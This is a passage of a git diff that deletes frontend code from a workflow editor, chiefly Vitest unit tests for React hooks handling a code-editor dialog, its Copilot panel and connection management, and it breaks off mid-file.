-                {ff_2504 && copilotEnabled && (
-                    <Tooltip>
-                        <TooltipTrigger asChild>
-                            <Button
-                                className="[&_svg]:size-5"
-                                icon={<SparklesIcon />}
-                                onClick={handleCopilotClick}
-                                size="icon"
-                                variant="ghost"
-                            />
-                        </TooltipTrigger>
-
-                        <TooltipContent>Open Copilot panel</TooltipContent>
-                    </Tooltip>
-                )}
-
-                <DialogClose asChild>
-                    <Button icon={<XIcon />} size="icon" title="Close" variant="ghost" />
-                </DialogClose>
-            </div>
-        </div>
-    );
-};
-
-export default PropertyCodeEditorDialogToolbar;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/index.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/index.ts
deleted file mode 100644
index 40bb6c70c8d..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/index.ts
+++ /dev/null
@@ -1,4 +0,0 @@
-export {usePropertyCodeEditorDialog} from './usePropertyCodeEditorDialog';
-export {usePropertyCodeEditorDialogRightPanelConnections} from './usePropertyCodeEditorDialogRightPanelConnections';
-export {usePropertyCodeEditorDialogRightPanelInput} from './usePropertyCodeEditorDialogRightPanelInput';
-export {usePropertyCodeEditorDialogToolbar} from './usePropertyCodeEditorDialogToolbar';
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialog.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialog.test.ts
deleted file mode 100644
index d4097e67435..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialog.test.ts
+++ /dev/null
@@ -1,187 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockReset: vi.fn(),
-        mockSetCopilotPanelOpen: vi.fn(),
-        mockSetDirty: vi.fn(),
-        mockSetEditorValue: vi.fn(),
-        mockSetSaving: vi.fn(),
-        storeState: {
-            copilotPanelOpen: false,
-            dirty: false,
-            editorValue: undefined as string | undefined,
-        },
-    };
-});
-
-vi.mock('../../stores/usePropertyCodeEditorDialogStore', () => ({
-    usePropertyCodeEditorDialogStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            copilotPanelOpen: hoisted.storeState.copilotPanelOpen,
-            dirty: hoisted.storeState.dirty,
-            editorValue: hoisted.storeState.editorValue,
-            reset: hoisted.mockReset,
-            setCopilotPanelOpen: hoisted.mockSetCopilotPanelOpen,
-            setDirty: hoisted.mockSetDirty,
-            setEditorValue: hoisted.mockSetEditorValue,
-            setSaving: hoisted.mockSetSaving,
-        }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/utils/getTask', () => ({
-    getTask: ({tasks, workflowNodeName}: {tasks: Array<{name: string}>; workflowNodeName: string}) =>
-        tasks.find((task) => task.name === workflowNodeName),
-}));
-
-describe('usePropertyCodeEditorDialog', () => {
-    const defaultProps = {
-        onClose: vi.fn(),
-        value: 'const x = 1;',
-        workflow: {
-            id: 'workflow-1',
-            tasks: [{connections: [], name: 'testNode', parameters: {}, type: 'script/script'}],
-            version: 1,
-        },
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(async () => {
-        hoisted.storeState.copilotPanelOpen = false;
-        hoisted.storeState.dirty = false;
-        hoisted.storeState.editorValue = undefined;
-        vi.clearAllMocks();
-
-        // Need to reset modules to get fresh import
-        vi.resetModules();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('should return copilotPanelOpen from store', async () => {
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            expect(result.current.copilotPanelOpen).toBe(false);
-        });
-
-        it('should return unsavedChangesAlertDialogOpen as false initially', async () => {
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            expect(result.current.unsavedChangesAlertDialogOpen).toBe(false);
-        });
-
-        it('should return current workflow task', async () => {
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            expect(result.current.currentWorkflowTask).toEqual({
-                connections: [],
-                name: 'testNode',
-                parameters: {},
-                type: 'script/script',
-            });
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call handleClose when open is false and not dirty', async () => {
-            hoisted.storeState.dirty = false;
-
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const mockOnClose = vi.fn();
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialog({
-                    ...defaultProps,
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockReset).toHaveBeenCalled();
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-
-        it('should open unsaved changes dialog when open is false and dirty', async () => {
-            hoisted.storeState.dirty = true;
-
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.unsavedChangesAlertDialogOpen).toBe(true);
-        });
-    });
-
-    describe('handleUnsavedChangesAlertDialogCancel', () => {
-        it('should close the unsaved changes dialog', async () => {
-            hoisted.storeState.dirty = true;
-
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.unsavedChangesAlertDialogOpen).toBe(true);
-
-            act(() => {
-                result.current.handleUnsavedChangesAlertDialogCancel();
-            });
-
-            expect(result.current.unsavedChangesAlertDialogOpen).toBe(false);
-        });
-    });
-
-    describe('handleUnsavedChangesAlertDialogClose', () => {
-        it('should close dialog and call reset and onClose', async () => {
-            hoisted.storeState.dirty = true;
-
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const mockOnClose = vi.fn();
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialog({
-                    ...defaultProps,
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            act(() => {
-                result.current.handleUnsavedChangesAlertDialogClose();
-            });
-
-            expect(result.current.unsavedChangesAlertDialogOpen).toBe(false);
-            expect(hoisted.mockReset).toHaveBeenCalled();
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleCopilotClose', () => {
-        it('should call setCopilotPanelOpen with false', async () => {
-            const {usePropertyCodeEditorDialog} = await import('../usePropertyCodeEditorDialog');
-            const {result} = renderHook(() => usePropertyCodeEditorDialog(defaultProps));
-
-            act(() => {
-                result.current.handleCopilotClose();
-            });
-
-            expect(hoisted.mockSetCopilotPanelOpen).toHaveBeenCalledWith(false);
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnections.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnections.test.ts
deleted file mode 100644
index 696bb275a8f..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnections.test.ts
+++ /dev/null
@@ -1,468 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockInvalidateQueries: vi.fn(),
-        mockMutate: vi.fn(),
-        mockSetShowConnectionNote: vi.fn(),
-        storeState: {
-            componentDefinitions: [{name: 'slack', title: 'Slack', version: 1}],
-            currentEnvironmentId: 1,
-            currentNode: {clusterElementType: undefined as string | undefined, name: 'testNode'},
-            rootClusterElementNodeData: undefined as {workflowNodeName: string} | undefined,
-            showConnectionNote: true,
-            workflowTestConfigurationConnections: [{connectionId: 1, workflowConnectionKey: 'slack_1'}],
-        },
-    };
-});
-
-vi.mock('@/pages/platform/workflow-editor/stores/useConnectionNoteStore', () => ({
-    useConnectionNoteStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            setShowConnectionNote: hoisted.mockSetShowConnectionNote,
-            showConnectionNote: hoisted.storeState.showConnectionNote,
-        }),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            currentEnvironmentId: hoisted.storeState.currentEnvironmentId,
-        }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore', () => ({
-    default: (selector: (state: unknown) => unknown) => selector({currentNode: hoisted.storeState.currentNode}),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowEditorStore', () => ({
-    default: () => hoisted.storeState.rootClusterElementNodeData,
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: hoisted.mockInvalidateQueries,
-    }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/providers/workflowEditorProvider', () => ({
-    useWorkflowEditor: () => ({
-        ConnectionKeys: {
-            connectionTags: ['connectionTags'],
-            connections: ['connections'],
-        },
-        updateWorkflowMutation: {
-            mutate: hoisted.mockMutate,
-        },
-        useCreateConnectionMutation: vi.fn(),
-        useGetComponentDefinitionsQuery: () => ({
-            data: hoisted.storeState.componentDefinitions,
-        }),
-        useGetConnectionTagsQuery: vi.fn(),
-    }),
-}));
-
-vi.mock('@/shared/queries/platform/workflowTestConfigurations.queries', () => ({
-    useGetWorkflowTestConfigurationConnectionsQuery: () => ({
-        data: hoisted.storeState.workflowTestConfigurationConnections,
-    }),
-}));
-
-describe('usePropertyCodeEditorDialogRightPanelConnections', () => {
-    const defaultProps = {
-        componentConnections: [
-            {componentName: 'slack', componentVersion: 1, key: 'slack_1', required: true, workflowNodeName: 'testNode'},
-        ],
-        workflow: {
-            definition: JSON.stringify({
-                tasks: [
-                    {
-                        connections: {slack_1: {componentName: 'slack', componentVersion: 1}},
-                        name: 'testNode',
-                    },
-                ],
-            }),
-            id: 'workflow-1',
-            version: 1,
-        },
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(async () => {
-        hoisted.storeState.showConnectionNote = true;
-        hoisted.storeState.currentEnvironmentId = 1;
-        hoisted.storeState.componentDefinitions = [{name: 'slack', title: 'Slack', version: 1}];
-        hoisted.storeState.workflowTestConfigurationConnections = [{connectionId: 1, workflowConnectionKey: 'slack_1'}];
-        hoisted.storeState.currentNode = {clusterElementType: undefined, name: 'testNode'};
-        hoisted.storeState.rootClusterElementNodeData = undefined;
-        vi.clearAllMocks();
-        vi.resetModules();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('should return showConnectionNote from store', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            expect(result.current.showConnectionNote).toBe(true);
-        });
-
-        it('should return componentDefinitions', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            expect(result.current.componentDefinitions).toEqual([{name: 'slack', title: 'Slack', version: 1}]);
-        });
-
-        it('should return workflowTestConfigurationConnections', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            expect(result.current.workflowTestConfigurationConnections).toEqual([
-                {connectionId: 1, workflowConnectionKey: 'slack_1'},
-            ]);
-        });
-
-        it('should return showNewConnectionDialog as false initially', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            expect(result.current.showNewConnectionDialog).toBe(false);
-        });
-    });
-
-    describe('handleCloseConnectionNote', () => {
-        it('should call setShowConnectionNote with false', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.handleCloseConnectionNote();
-            });
-
-            expect(hoisted.mockSetShowConnectionNote).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('setShowNewConnectionDialog', () => {
-        it('should update showNewConnectionDialog state', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.setShowNewConnectionDialog(true);
-            });
-
-            expect(result.current.showNewConnectionDialog).toBe(true);
-        });
-    });
-
-    describe('handleOnSubmit', () => {
-        it('should call updateWorkflowMutation.mutate with updated definition', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.handleOnSubmit({
-                    componentName: 'github',
-                    componentVersion: 2,
-                    name: 'github_connection',
-                });
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalled();
-
-            const callArg = hoisted.mockMutate.mock.calls[0][0];
-
-            expect(callArg.id).toBe('workflow-1');
-
-            const definition = JSON.parse(callArg.workflow.definition);
-
-            expect(definition.tasks[0].connections.github_connection).toEqual({
-                componentName: 'github',
-                componentVersion: 2,
-            });
-        });
-
-        it('should not call mutate when workflow definition is missing', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialogRightPanelConnections({
-                    ...defaultProps,
-                    workflow: {...defaultProps.workflow, definition: undefined},
-                })
-            );
-
-            act(() => {
-                result.current.handleOnSubmit({
-                    componentName: 'github',
-                    componentVersion: 2,
-                    name: 'github_connection',
-                });
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOnRemoveClick', () => {
-        it('should call updateWorkflowMutation.mutate with connection removed', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.handleOnRemoveClick('slack_1');
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalled();
-
-            const callArg = hoisted.mockMutate.mock.calls[0][0];
-
-            expect(callArg.id).toBe('workflow-1');
-
-            const definition = JSON.parse(callArg.workflow.definition);
-
-            expect(definition.tasks[0].connections.slack_1).toBeUndefined();
-        });
-
-        it('should not call mutate when workflow definition is missing', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialogRightPanelConnections({
-                    ...defaultProps,
-                    workflow: {...defaultProps.workflow, definition: undefined},
-                })
-            );
-
-            act(() => {
-                result.current.handleOnRemoveClick('slack_1');
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('cluster element connections', () => {
-        const clusterElementProps = {
-            componentConnections: [
-                {
-                    componentName: 'amazonS3',
-                    componentVersion: 1,
-                    key: 's3_connection',
-                    required: true,
-                    workflowNodeName: 'source_1',
-                },
-            ],
-            workflow: {
-                definition: JSON.stringify({
-                    tasks: [
-                        {
-                            clusterElements: {
-                                source: {
-                                    connections: {s3_connection: {componentName: 'amazonS3', componentVersion: 1}},
-                                    name: 'source_1',
-                                    type: 'amazonS3/v1/amazonS3Read',
-                                },
-                            },
-                            name: 'dataStream_1',
-                            type: 'dataStream/v1/sync',
-                        },
-                    ],
-                }),
-                id: 'workflow-1',
-                version: 1,
-            },
-            workflowNodeName: 'source_1',
-        };
-
-        beforeEach(async () => {
-            hoisted.storeState.currentNode = {clusterElementType: 'source', name: 'source_1'};
-            hoisted.storeState.rootClusterElementNodeData = {workflowNodeName: 'dataStream_1'};
-            vi.clearAllMocks();
-            vi.resetModules();
-        });
-
-        describe('handleOnSubmit for cluster elements', () => {
-            it('should add connection to cluster element', async () => {
-                const {usePropertyCodeEditorDialogRightPanelConnections} =
-                    await import('../usePropertyCodeEditorDialogRightPanelConnections');
-                const {result} = renderHook(() =>
-                    usePropertyCodeEditorDialogRightPanelConnections(clusterElementProps)
-                );
-
-                act(() => {
-                    result.current.handleOnSubmit({
-                        componentName: 'googleDrive',
-                        componentVersion: 1,
-                        name: 'gdrive_connection',
-                    });
-                });
-
-                expect(hoisted.mockMutate).toHaveBeenCalled();
-
-                const callArg = hoisted.mockMutate.mock.calls[0][0];
-                const definition = JSON.parse(callArg.workflow.definition);
-
-                expect(definition.tasks[0].clusterElements.source.connections.gdrive_connection).toEqual({
-                    componentName: 'googleDrive',
-                    componentVersion: 1,
-                });
-            });
-
-            it('should not overwrite existing cluster element connections', async () => {
-                const {usePropertyCodeEditorDialogRightPanelConnections} =
-                    await import('../usePropertyCodeEditorDialogRightPanelConnections');
-                const {result} = renderHook(() =>
-                    usePropertyCodeEditorDialogRightPanelConnections(clusterElementProps)
-                );
-
-                act(() => {
-                    result.current.handleOnSubmit({
-                        componentName: 'googleDrive',
-                        componentVersion: 1,
-                        name: 'gdrive_connection',
-                    });
-                });
-
-                const callArg = hoisted.mockMutate.mock.calls[0][0];
-                const definition = JSON.parse(callArg.workflow.definition);
-
-                expect(definition.tasks[0].clusterElements.source.connections.s3_connection).toBeDefined();
-            });
-        });
-
-        describe('handleOnRemoveClick for cluster elements', () => {
-            it('should remove connection from cluster element', async () => {
-                const {usePropertyCodeEditorDialogRightPanelConnections} =
-                    await import('../usePropertyCodeEditorDialogRightPanelConnections');
-                const {result} = renderHook(() =>
-                    usePropertyCodeEditorDialogRightPanelConnections(clusterElementProps)
-                );
-
-                act(() => {
-                    result.current.handleOnRemoveClick('s3_connection');
-                });
-
-                expect(hoisted.mockMutate).toHaveBeenCalled();
-
-                const callArg = hoisted.mockMutate.mock.calls[0][0];
-                const definition = JSON.parse(callArg.workflow.definition);
-
-                expect(definition.tasks[0].clusterElements.source.connections.s3_connection).toBeUndefined();
-            });
-        });
-    });
-
-    describe('query invalidation', () => {
-        it('should invalidate workflowNodeComponentConnections on submit success for regular nodes', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.handleOnSubmit({
-                    componentName: 'github',
-                    componentVersion: 2,
-                    name: 'github_connection',
-                });
-            });
-
-            const mutateOptions = hoisted.mockMutate.mock.calls[0][1];
-
-            act(() => {
-                mutateOptions.onSuccess();
-            });
-
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['workflowNodeComponentConnections'],
-            });
-        });
-
-        it('should invalidate clusterElementComponentConnections on submit success for cluster elements', async () => {
-            hoisted.storeState.currentNode = {clusterElementType: 'source', name: 'source_1'};
-            hoisted.storeState.rootClusterElementNodeData = {workflowNodeName: 'dataStream_1'};
-            vi.resetModules();
-
-            const clusterElementProps = {
-                componentConnections: [],
-                workflow: {
-                    definition: JSON.stringify({
-                        tasks: [
-                            {
-                                clusterElements: {
-                                    source: {
-                                        connections: {},
-                                        name: 'source_1',
-                                        type: 'amazonS3/v1/amazonS3Read',
-                                    },
-                                },
-                                name: 'dataStream_1',
-                                type: 'dataStream/v1/sync',
-                            },
-                        ],
-                    }),
-                    id: 'workflow-1',
-                    version: 1,
-                },
-                workflowNodeName: 'source_1',
-            };
-
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(clusterElementProps));
-
-            act(() => {
-                result.current.handleOnSubmit({
-                    componentName: 'amazonS3',
-                    componentVersion: 1,
-                    name: 's3_connection',
-                });
-            });
-
-            const mutateOptions = hoisted.mockMutate.mock.calls[0][1];
-
-            act(() => {
-                mutateOptions.onSuccess();
-            });
-
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['clusterElementComponentConnections'],
-            });
-        });
-
-        it('should invalidate workflowNodeComponentConnections on remove success for regular nodes', async () => {
-            const {usePropertyCodeEditorDialogRightPanelConnections} =
-                await import('../usePropertyCodeEditorDialogRightPanelConnections');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnections(defaultProps));
-
-            act(() => {
-                result.current.handleOnRemoveClick('slack_1');
-            });
-
-            const mutateOptions = hoisted.mockMutate.mock.calls[0][1];
-
-            act(() => {
-                mutateOptions.onSuccess();
-            });
-
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['workflowNodeComponentConnections'],
-            });
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsLabel.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsLabel.test.ts
deleted file mode 100644
index c8689fa4600..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsLabel.test.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockComponentDefinition: {
-            description: 'Test component',
-            icon: 'test-icon',
-            name: 'testComponent',
-            title: 'Test Component',
-            version: 1,
-        },
-    };
-});
-
-vi.mock('@/shared/queries/platform/componentDefinitions.queries', () => ({
-    useGetComponentDefinitionQuery: () => ({
-        data: hoisted.mockComponentDefinition,
-    }),
-}));
-
-import usePropertyCodeEditorDialogRightPanelConnectionsLabel from '../usePropertyCodeEditorDialogRightPanelConnectionsLabel';
-
-describe('usePropertyCodeEditorDialogRightPanelConnectionsLabel', () => {
-    const defaultProps = {
-        componentConnection: {
-            componentName: 'testComponent',
-            componentVersion: 1,
-            key: 'test-connection',
-            required: true,
-            workflowNodeName: 'testNode',
-        },
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('componentDefinition', () => {
-        it('should return component definition from query', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsLabel(defaultProps));
-
-            expect(result.current.componentDefinition).toEqual(hoisted.mockComponentDefinition);
-        });
-
-        it('should have correct name from component definition', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsLabel(defaultProps));
-
-            expect(result.current.componentDefinition?.name).toBe('testComponent');
-        });
-
-        it('should have correct title from component definition', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsLabel(defaultProps));
-
-            expect(result.current.componentDefinition?.title).toBe('Test Component');
-        });
-
-        it('should have correct version from component definition', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsLabel(defaultProps));
-
-            expect(result.current.componentDefinition?.version).toBe(1);
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsPopover.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsPopover.test.ts
deleted file mode 100644
index 529d6f430b7..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsPopover.test.ts
+++ /dev/null
@@ -1,115 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockComponentDefinitions: [
-            {name: 'component1', title: 'Component 1', version: 1},
-            {name: 'component2', title: 'Component 2', version: 1},
-        ],
-        mockFormState: {
-            errors: {},
-            getValues: vi.fn(),
-            handleSubmit: vi.fn(),
-            register: vi.fn(),
-            reset: vi.fn(),
-            setValue: vi.fn(),
-            watch: vi.fn(),
-        },
-    };
-});
-
-vi.mock('@/pages/platform/workflow-editor/providers/workflowEditorProvider', () => ({
-    useWorkflowEditor: () => ({
-        useGetComponentDefinitionsQuery: () => ({
-            data: hoisted.mockComponentDefinitions,
-        }),
-    }),
-}));
-
-vi.mock('@hookform/resolvers/zod', () => ({
-    zodResolver: () => vi.fn(),
-}));
-
-vi.mock('react-hook-form', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('react-hook-form')>();
-
-    return {
-        ...actual,
-        useForm: () => hoisted.mockFormState,
-    };
-});
-
-vi.mock('../PropertyCodeEditorDialogRightPanelConnectionsPopover', () => ({
-    connectionFormSchema: {
-        parse: vi.fn(),
-    },
-}));
-
-import usePropertyCodeEditorDialogRightPanelConnectionsPopover from '../usePropertyCodeEditorDialogRightPanelConnectionsPopover';
-
-describe('usePropertyCodeEditorDialogRightPanelConnectionsPopover', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('should return open as false initially', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should return form object', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            expect(result.current.form).toBeDefined();
-        });
-
-        it('should return component definitions from query', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            expect(result.current.componentDefinitions).toEqual(hoisted.mockComponentDefinitions);
-        });
-    });
-
-    describe('setOpen', () => {
-        it('should update open state to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            act(() => {
-                result.current.setOpen(true);
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('should update open state to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            act(() => {
-                result.current.setOpen(true);
-            });
-
-            act(() => {
-                result.current.setOpen(false);
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('componentDefinitions', () => {
-        it('should contain expected component definitions', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsPopover());
-
-            expect(result.current.componentDefinitions).toHaveLength(2);
-            expect(result.current.componentDefinitions?.[0].name).toBe('component1');
-            expect(result.current.componentDefinitions?.[1].name).toBe('component2');
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsSelect.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsSelect.test.ts
deleted file mode 100644
index 105fe9a93bd..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogRightPanelConnectionsSelect.test.ts
+++ /dev/null
@@ -1,242 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        currentNode: undefined as {clusterElementType?: string; name: string} | undefined,
-        mockComponentDefinition: {
-            connection: {version: 1},
-            name: 'testComponent',
-            title: 'Test Component',
-            version: 1,
-        },
-        mockComponentDefinitions: [
-            {name: 'component1', title: 'Component 1', version: 1},
-            {name: 'component2', title: 'Component 2', version: 1},
-        ],
-        mockConnections: [
-            {id: 1, name: 'Connection 1'},
-            {id: 2, name: 'Connection 2'},
-        ],
-        mockMutateClusterElement: vi.fn(),
-        mockMutateWorkflowNode: vi.fn(),
-        rootClusterElementNodeData: undefined as {workflowNodeName: string} | undefined,
-    };
-});
-
-vi.mock('@/pages/platform/workflow-editor/providers/workflowEditorProvider', () => ({
-    useWorkflowEditor: () => ({
-        ConnectionKeys: {connections: ['connections']},
-        useCreateConnectionMutation: vi.fn(),
